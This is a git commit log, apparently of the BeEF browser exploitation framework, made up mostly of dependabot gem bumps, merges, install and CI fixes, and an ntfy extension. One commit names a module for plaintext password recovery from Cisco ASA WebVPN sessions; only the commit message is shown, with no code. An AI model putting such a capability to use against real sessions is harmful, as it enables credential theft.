Bumps [net-smtp](https://github.com/ruby/net-smtp) from 0.4.0 to 0.4.0.1.
- [Release notes](https://github.com/ruby/net-smtp/releases)
- [Changelog](https://github.com/ruby/net-smtp/blob/master/NEWS.md)
- [Commits](https://github.com/ruby/net-smtp/compare/v0.4.0...v0.4.0.1)

---
updated-dependencies:
- dependency-name: net-smtp
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-07 11:25:15 +10:00
Stephen
bafc006d67 Added sqlite files to .gitignore 2024-01-07 11:22:30 +10:00
Stephen
17e20d4ae8 Add GUID direction in ntfy URL 2024-01-07 10:46:42 +10:00
Stephen
37d95b788b Merge branch 'ntfy-extension' of https://github.com/acidobinario/beef into pr/acidobinario/2934 2024-01-05 08:17:55 +10:00
Federico Videla
d0de620a24 Add ntfy extension 2024-01-05 08:06:49 +10:00
Stephen
7633dc7660 Delete beef.db-wal 2024-01-05 03:39:23 +10:00
Stephen
a444d6e5a4 Delete beef.db-shm 2024-01-05 03:37:40 +10:00
Stephen
d110484294 Update geoip messages 2024-01-04 13:40:13 +10:00
Stephen
01fc227d90 Removed blog from loanding banners 2024-01-04 05:55:39 +10:00
Stephen
ed9e72a56d Silence activerecord migration stdout messages 2024-01-03 15:18:50 +10:00
Stephen
fe41e113ca Added boilerplate 2024-01-03 15:18:22 +10:00
Stephen
e47488bbc9 Tidy Gemfile 2024-01-03 14:53:48 +10:00
Stephen
6d56d6cfcd Tidy Rakefile 2024-01-03 14:50:21 +10:00
Stephen
38a137de08 Merge branch 'dependabot/bundler/rack-protection-and-sinatra-3.2.0' 2024-01-03 14:48:17 +10:00
dependabot[bot]
8539f6dfab Bump mime-types from 3.5.1 to 3.5.2
Bumps [mime-types](https://github.com/mime-types/ruby-mime-types) from 3.5.1 to 3.5.2.
- [Changelog](https://github.com/mime-types/ruby-mime-types/blob/main/History.md)
- [Commits](https://github.com/mime-types/ruby-mime-types/compare/v3.5.1...v3.5.2)

---
updated-dependencies:
- dependency-name: mime-types
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-02 13:13:24 +00:00
dependabot[bot]
b93af516c6 Bump rack-protection and sinatra
Bumps [rack-protection](https://github.com/sinatra/sinatra) and [sinatra](https://github.com/sinatra/sinatra). These dependencies needed to be updated together.

Updates `rack-protection` from 3.0.6 to 3.2.0
- [Changelog](https://github.com/sinatra/sinatra/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v3.0.6...v3.2.0)

Updates `sinatra` from 3.0.6 to 3.2.0
- [Changelog](https://github.com/sinatra/sinatra/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v3.0.6...v3.2.0)

---
updated-dependencies:
- dependency-name: rack-protection
  dependency-type: direct:production
  update-type: version-update:semver-minor
- dependency-name: sinatra
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-01-01 13:27:20 +00:00
Stephen
482143067b Updated http://beefproject.com to https://beefproject.com 2023-12-31 14:46:15 +10:00
Stephen
747ddb5387 Updated http://beefproject.com to https://beefproject.com 2023-12-31 14:18:50 +10:00
Stephen
da2e4bb9cf Merge branch 'update_copyright' 2023-12-31 14:08:39 +10:00
Stephen
38997fa7e3 Added .gitignore entry for Visual Studio Code 2023-12-31 10:23:35 +10:00
Stephen
7817e98118 update rdoc and rake gem in gemfile.lock 2023-12-31 10:20:35 +10:00
Stephen
6816595935 Merge branch 'dependabot/bundler/otr-activerecord-2.2.0' 2023-12-31 10:14:13 +10:00
Stephen
5eded170ab Upgrade gem 'otr-activerecord', '~> 2.2.0' including adding internal_metadata to the ActiveRecord migration 2023-12-31 10:00:13 +10:00
jcrew99
3a486c7626 Updated Copyright 2023-12-26 22:32:31 -05:00
Stephen
41397b680c Merge branch 'dependabot/bundler/otr-activerecord-2.2.0' of https://github.com/beefproject/beef into dependabot/bundler/otr-activerecord-2.2.0 2023-12-23 10:46:41 +10:00
Stephen
aa0cb30963 Merge branch 'dependabot/bundler/rake-13.1.0' 2023-12-23 10:26:58 +10:00
Stephen
dbd24bb3a7 Merge pull request #2986 from TheGuy920/master
Update Ruby Version - Complete
2023-12-22 08:09:09 +10:00
Stephen
5a7b7fb107 Merge pull request #2977 from beefproject/dependabot/bundler/maxmind-db-1.2.0
Bump maxmind-db from 1.1.1 to 1.2.0
2023-12-22 08:04:16 +10:00
Stephen
de0cab665b Merge pull request #2988 from beefproject/dependabot/bundler/selenium-webdriver-4.16.0
Bump selenium-webdriver from 4.14.0 to 4.16.0
2023-12-22 07:54:29 +10:00
dependabot[bot]
5dd8715f56 Bump selenium-webdriver from 4.14.0 to 4.16.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.14.0 to 4.16.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.14.0...selenium-4.16.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-21 21:51:11 +00:00
Stephen
214a3993f8 Merge pull request #2989 from beefproject/dependabot/bundler/rubocop-1.59.0
Bump rubocop from 1.57.0 to 1.59.0
2023-12-22 07:49:54 +10:00
Stephen
33f47d9d42 Merge pull request #2991 from beefproject/dependabot/bundler/rdoc-6.6.2
Bump rdoc from 6.6.1 to 6.6.2
2023-12-22 07:49:17 +10:00
dependabot[bot]
e62573fbf2 Bump rdoc from 6.6.1 to 6.6.2
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.6.1 to 6.6.2.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.6.1...v6.6.2)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-21 21:44:54 +00:00
dependabot[bot]
92b2954112 Bump rubocop from 1.57.0 to 1.59.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.57.0 to 1.59.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.57.0...v1.59.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-21 21:39:54 +00:00
dependabot[bot]
4b72bce53a Bump maxmind-db from 1.1.1 to 1.2.0
Bumps [maxmind-db](https://github.com/maxmind/MaxMind-DB-Reader-ruby) from 1.1.1 to 1.2.0.
- [Changelog](https://github.com/maxmind/MaxMind-DB-Reader-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/maxmind/MaxMind-DB-Reader-ruby/compare/v1.1.1...v1.2.0)

---
updated-dependencies:
- dependency-name: maxmind-db
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-21 21:39:49 +00:00
Stephen
4545121093 Merge branch 'dependabot/bundler/irb-1.11.0' 2023-12-22 07:38:22 +10:00
Stephen
46556428ad Merge branch 'dependabot/bundler/sqlite3-1.6.9' 2023-12-21 11:04:08 +10:00
dependabot[bot]
03da278bc1 Bump irb from 1.8.1 to 1.11.0
Bumps [irb](https://github.com/ruby/irb) from 1.8.1 to 1.11.0.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.8.1...v1.11.0)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-20 13:25:20 +00:00
catatonicprime
a876233579 Report failures too. 2023-12-18 05:53:05 +00:00
catatonicprime
c199cd29e4 Adding plaintext password recovery for Cisco ASA WebVPN Sessions. 2023-12-18 05:38:43 +00:00
Stephen
3286ef88f4 Merge branch 'dependabot/bundler/rdoc-6.6.1' 2023-12-06 14:46:58 +10:00
TheGuy920
acf5bd60bb Update INSTALL.txt 2023-12-05 17:36:46 -05:00
TheGuy920
bea58a8cdb Update beef 2023-12-05 17:36:17 -05:00
TheGuy920
77dada0251 Merge pull request #2 from TheGuy920/patch-2
Update beef
2023-12-05 17:23:32 -05:00
TheGuy920
1a27e3b0c5 Merge pull request #1 from TheGuy920/patch-1
Update INSTALL.txt
2023-12-05 17:22:48 -05:00
TheGuy920
629db4fe20 Update beef 2023-12-05 17:21:22 -05:00
TheGuy920
f5fae026ce Update INSTALL.txt 2023-12-05 17:05:52 -05:00
dependabot[bot]
267c6e3198 Bump rdoc from 6.5.0 to 6.6.1
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.5.0 to 6.6.1.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.5.0...v6.6.1)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-05 13:55:42 +00:00
TheGuy920
554d42b2c6 Update README.md
[INFO]  Detecting Ruby environment...
[INFO]  Ruby version 2.7.0 is installed
[FATAL]  Ruby version 2.7.0 is not supported. Please install Ruby 3.0 (or newer) and restart the installer.
2023-12-01 17:16:40 -05:00
dependabot[bot]
ae25108c93 Bump sqlite3 from 1.6.7 to 1.6.9
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.6.7 to 1.6.9.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.6.7...v1.6.9)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-11-27 13:58:02 +00:00
dependabot[bot]
57482fbb6f Bump rake from 13.0.6 to 13.1.0
Bumps [rake](https://github.com/ruby/rake) from 13.0.6 to 13.1.0.
- [Release notes](https://github.com/ruby/rake/releases)
- [Changelog](https://github.com/ruby/rake/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rake/compare/v13.0.6...v13.1.0)

---
updated-dependencies:
- dependency-name: rake
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-30 13:33:20 +00:00
dependabot[bot]
4f7c0db274 Bump otr-activerecord from 2.1.2 to 2.2.0
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.1.2 to 2.2.0.
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.1.2...v2.2.0)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-30 08:30:59 +00:00
Stephen
e0ff71a582 Locking otr-activerecord to version 2.1.2 until we
can fix the bugs with the later version
2023-10-30 18:28:08 +10:00
dependabot[bot]
e4d9896c4c Bump otr-activerecord from 2.1.2 to 2.2.0
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.1.2 to 2.2.0.
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.1.2...v2.2.0)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-20 14:08:19 +00:00
Stephen
a6757bedd0 Merge branch 'dependabot/bundler/rubocop-1.57.0' into dependabot-updates
upddate rubocop gem
2023-10-12 10:41:28 +10:00
Stephen
ea8e661831 Merge branch 'dependabot/bundler/selenium-webdriver-4.14.0' into dependabot-updates 2023-10-12 10:37:48 +10:00
dependabot[bot]
231c425f98 Bump sqlite3 from 1.6.6 to 1.6.7
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.6.6 to 1.6.7.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.6.6...v1.6.7)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-11 14:01:51 +00:00
dependabot[bot]
ed410c2ccd Bump rubocop from 1.56.4 to 1.57.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.56.4 to 1.57.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.56.4...v1.57.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-11 14:00:58 +00:00
dependabot[bot]
3965d83ba0 Bump selenium-webdriver from 4.13.1 to 4.14.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.13.1 to 4.14.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits/selenium-4.14.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-10-10 13:23:49 +00:00
Stephen
961e8d4ef9 Merge branch 'master' of https://github.com/beefproject/beef 2023-10-01 03:02:12 +10:00
wheatley
23a2b79020 Update github_actions.yml (#2937) 2023-09-30 19:42:16 +10:00
dependabot[bot]
5e2b60ae00 Bump rubocop from 1.56.3 to 1.56.4 (#2939)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.56.3 to 1.56.4.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.56.3...v1.56.4)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-09-30 19:36:27 +10:00
dependabot[bot]
9992499bae Bump selenium-webdriver from 4.12.0 to 4.13.1 (#2938)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.12.0 to 4.13.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-09-30 19:27:12 +10:00
wheatley
82f733783a revert to original selenium version 2023-09-30 19:16:38 +10:00
wheatley
4dddb2d0f7 updated webdriver to use selenium4 params 2023-09-30 19:16:38 +10:00
wheatley
f359ad5283 experimenting 3.9 2023-09-30 19:16:38 +10:00
wheatley
6e944a0c2c reverting version to web driver version 3.1 2023-09-30 19:16:38 +10:00
wheatley
6e13b1aedc experimenting with version 4 of the driver 2023-09-30 19:16:38 +10:00
wheatley
aba70bbfae reverted to old file name 2023-09-30 19:16:38 +10:00
wheatley
5f9efcb455 revert changes 2023-09-30 19:16:38 +10:00
wheatley
86c3b5e6cc revert to older version 2023-09-30 19:16:38 +10:00
wheatley
471d025bae fixed syntax error 2023-09-30 19:16:38 +10:00
wheatley
bfbc73c989 downgrading again to see if these will run 2023-09-30 19:16:38 +10:00
wheatley
ca933d76c4 downgrading version due to change in how it operates 2023-09-30 19:16:38 +10:00
wheatley
727d422bd4 updated to make new file name 2023-09-30 19:16:38 +10:00
wheatley
1f0c5d7ee9 updated file name to match config 2023-09-30 19:16:38 +10:00
wheatley
ffd8b1b670 Update win10_chrome_81.config.yml 2023-09-30 19:16:38 +10:00
wheatley
63f691994e Update win10_chrome_81.config.yml 2023-09-30 19:16:38 +10:00
Stephen
4e9fdb4f18 Changed rescue message print_error to print_debug 2023-09-30 12:53:46 +10:00
Stephen
d40d22d22b cleaned out unused commented code 2023-09-30 08:17:00 +10:00
Stephen
fd9855c3be increased reliability of auth rate limiting tests 2023-09-30 07:49:40 +10:00
Stephen
e323c80581 Fixed array to string bug for DNS entries 2023-09-28 16:28:52 +10:00
Stephen
b3ff3f2f6f Parked auth rate test due to intermittent failure 2023-09-28 16:06:30 +10:00
Stephen
0d44721e04 Updated to skip comments starting with # 2023-09-28 15:55:51 +10:00
Stephen
8f7246514e Updated to include arm64-darwin gems 2023-09-28 14:02:47 +10:00
Stephen
70729ef5ae Bumped xmlrpc Gem version 2023-09-28 13:59:11 +10:00
Stephen
7b948b8d8a Revert "Update install"
This reverts commit 61528a408a.
2023-09-28 12:58:23 +10:00
Federico Videla
7e89375774 Merge branch 'beefproject:master' into ntfy-extension 2023-09-26 00:12:00 -03:00
Stephen
268e8ed250 Merge remote-tracking branch 'remotes/origin/dependabot/bundler/net-smtp-0.4.0' 2023-09-23 03:11:10 +00:00
Stephen
9d270cb9f6 Merge remote-tracking branch 'remotes/origin/dependabot/bundler/execjs-2.9.1' 2023-09-23 03:10:01 +00:00
Stephen
13264cbe8a park failing test for future fix 2023-09-23 03:09:23 +00:00
Stephen
4a87b68f7b Merge branch 'sumithemmadi/master' 2023-09-23 03:03:09 +00:00
Stephen
705049a2ad Merge branch 'master' of github.com:sumithemmadi/beef into sumithemmadi/master 2023-09-23 02:59:22 +00:00
Stephen
654ce1affb Bump xmlrpc gem version 2023-09-23 02:55:26 +00:00
Stephen
272ca32e43 Restore Gemfile.lock 2023-09-23 02:51:20 +00:00
Stephen
624176e6ac Made the quotes consistent 2023-09-23 02:43:49 +00:00
Federico Videla
a7862fa524 Add ntfy extension 2023-09-22 18:20:27 -03:00
stephenakq
61528a408a Update install 2023-09-23 06:15:40 +10:00
stephenakq
a154c1dbc1 Merge pull request #2929 from beefproject/dependabot/bundler/sqlite3-1.6.6
Bump sqlite3 from 1.6.1 to 1.6.6
2023-09-22 11:39:04 +10:00
dependabot[bot]
03c87c2879 Bump sqlite3 from 1.6.1 to 1.6.6
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.6.1 to 1.6.6.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.6.1...v1.6.6)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-09-21 23:28:28 +00:00
Stephen
3593d49df8 Merge remote-tracking branch 'remotes/origin/dependabot/bundler/rubocop-1.56.3' 2023-09-21 23:20:16 +00:00
dependabot[bot]
6ac3e22bb1 Bump execjs from 2.8.1 to 2.9.1
Bumps [execjs](https://github.com/rails/execjs) from 2.8.1 to 2.9.1.
- [Release notes](https://github.com/rails/execjs/releases)
- [Commits](https://github.com/rails/execjs/compare/v2.8.1...v2.9.1)

---
updated-dependencies:
- dependency-name: execjs
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-09-21 23:15:31 +00:00
Stephen
dd2eceef0c Merge remote-tracking branch 'remotes/origin/dependabot/bundler/irb-1.8.1' 2023-09-21 23:13:24 +00:00
dependabot[bot]
03ebb78a95 Bump rubocop from 1.53.1 to 1.56.3
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.53.1 to 1.56.3.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.53.1...v1.56.3)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-09-21 23:09:39 +00:00
Stephen
9800848918 Merge remote-tracking branch 'remotes/origin/dependabot/bundler/selenium-webdriver-4.12.0' 2023-09-21 23:04:12 +00:00
dependabot[bot]
6789774000 Bump net-smtp from 0.3.3 to 0.4.0
Bumps [net-smtp](https://github.com/ruby/net-smtp) from 0.3.3 to 0.4.0.
- [Release notes](https://github.com/ruby/net-smtp/releases)
- [Changelog](https://github.com/ruby/net-smtp/blob/master/NEWS.md)
- [Commits](https://github.com/ruby/net-smtp/compare/v0.3.3...v0.4.0)

---
updated-dependencies:
- dependency-name: net-smtp
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-09-21 13:13:52 +00:00
sumithemmadi
bff0aba576 Updated install script to install in EndeavourOS 2023-09-17 00:18:44 +05:30
dependabot[bot]
5d0ee52496 Bump irb from 1.7.0 to 1.8.1
Bumps [irb](https://github.com/ruby/irb) from 1.7.0 to 1.8.1.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.7.0...v1.8.1)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-09-05 13:45:33 +00:00
dependabot[bot]
e7870c002e Bump selenium-webdriver from 4.10.0 to 4.12.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.10.0 to 4.12.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.10.0...selenium-4.12.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-09-01 14:06:31 +00:00
dependabot[bot]
45b81eae52 Bump browserstack-local from 1.4.2 to 1.4.3
Bumps [browserstack-local](https://github.com/browserstack/browserstack-local-ruby) from 1.4.2 to 1.4.3.
- [Release notes](https://github.com/browserstack/browserstack-local-ruby/releases)
- [Changelog](https://github.com/browserstack/browserstack-local-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/browserstack/browserstack-local-ruby/commits)

---
updated-dependencies:
- dependency-name: browserstack-local
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-08-24 13:23:32 +00:00
dependabot[bot]
1f5b6b0b01 Bump rubocop from 1.52.1 to 1.53.1 (#2871)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.52.1 to 1.53.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.52.1...v1.53.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-07-02 17:30:00 +10:00
dependabot[bot]
51fdcbe313 Bump rubocop from 1.50.2 to 1.52.1 (#2864)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.50.2 to 1.52.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.50.2...v1.52.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-17 14:52:44 +10:00
dependabot[bot]
088fad8aee Bump capybara from 3.38.0 to 3.39.2 (#2865)
Bumps [capybara](https://github.com/teamcapybara/capybara) from 3.38.0 to 3.39.2.
- [Changelog](https://github.com/teamcapybara/capybara/blob/master/History.md)
- [Commits](https://github.com/teamcapybara/capybara/compare/3.38.0...3.39.2)

---
updated-dependencies:
- dependency-name: capybara
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-17 14:51:58 +10:00
dependabot[bot]
5f292e1913 Bump selenium-webdriver from 4.9.0 to 4.10.0 (#2862)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.9.0 to 4.10.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.9.0...selenium-4.10.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-17 13:32:16 +10:00
dependabot[bot]
1791386c64 Bump browserstack-local from 1.4.1 to 1.4.2 (#2861)
Bumps [browserstack-local](https://github.com/browserstack/browserstack-local-ruby) from 1.4.1 to 1.4.2.
- [Release notes](https://github.com/browserstack/browserstack-local-ruby/releases)
- [Changelog](https://github.com/browserstack/browserstack-local-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/browserstack/browserstack-local-ruby/commits)

---
updated-dependencies:
- dependency-name: browserstack-local
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-17 13:31:57 +10:00
dependabot[bot]
df552885b4 Bump irb from 1.6.4 to 1.7.0 (#2859)
Bumps [irb](https://github.com/ruby/irb) from 1.6.4 to 1.7.0.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.6.4...v1.7.0)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-06-17 13:31:31 +10:00
dependabot[bot]
82e4d36464 Bump irb from 1.6.3 to 1.6.4 (#2809)
Bumps [irb](https://github.com/ruby/irb) from 1.6.3 to 1.6.4.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.6.3...v1.6.4)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-05-04 01:14:10 +10:00
dependabot[bot]
da3c48ad5e Bump nokogiri from 1.14.2 to 1.14.3 (#2813)
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.14.2 to 1.14.3.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.14.2...v1.14.3)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-05-04 01:14:02 +10:00
dependabot[bot]
4eb6ff3dba Bump sinatra from 3.0.5 to 3.0.6 (#2816)
Bumps [sinatra](https://github.com/sinatra/sinatra) from 3.0.5 to 3.0.6.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v3.0.5...v3.0.6)

---
updated-dependencies:
- dependency-name: sinatra
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-05-04 01:05:23 +10:00
dependabot[bot]
85d27188ee Bump rubocop from 1.48.1 to 1.50.2 (#2822)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.48.1 to 1.50.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.48.1...v1.50.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
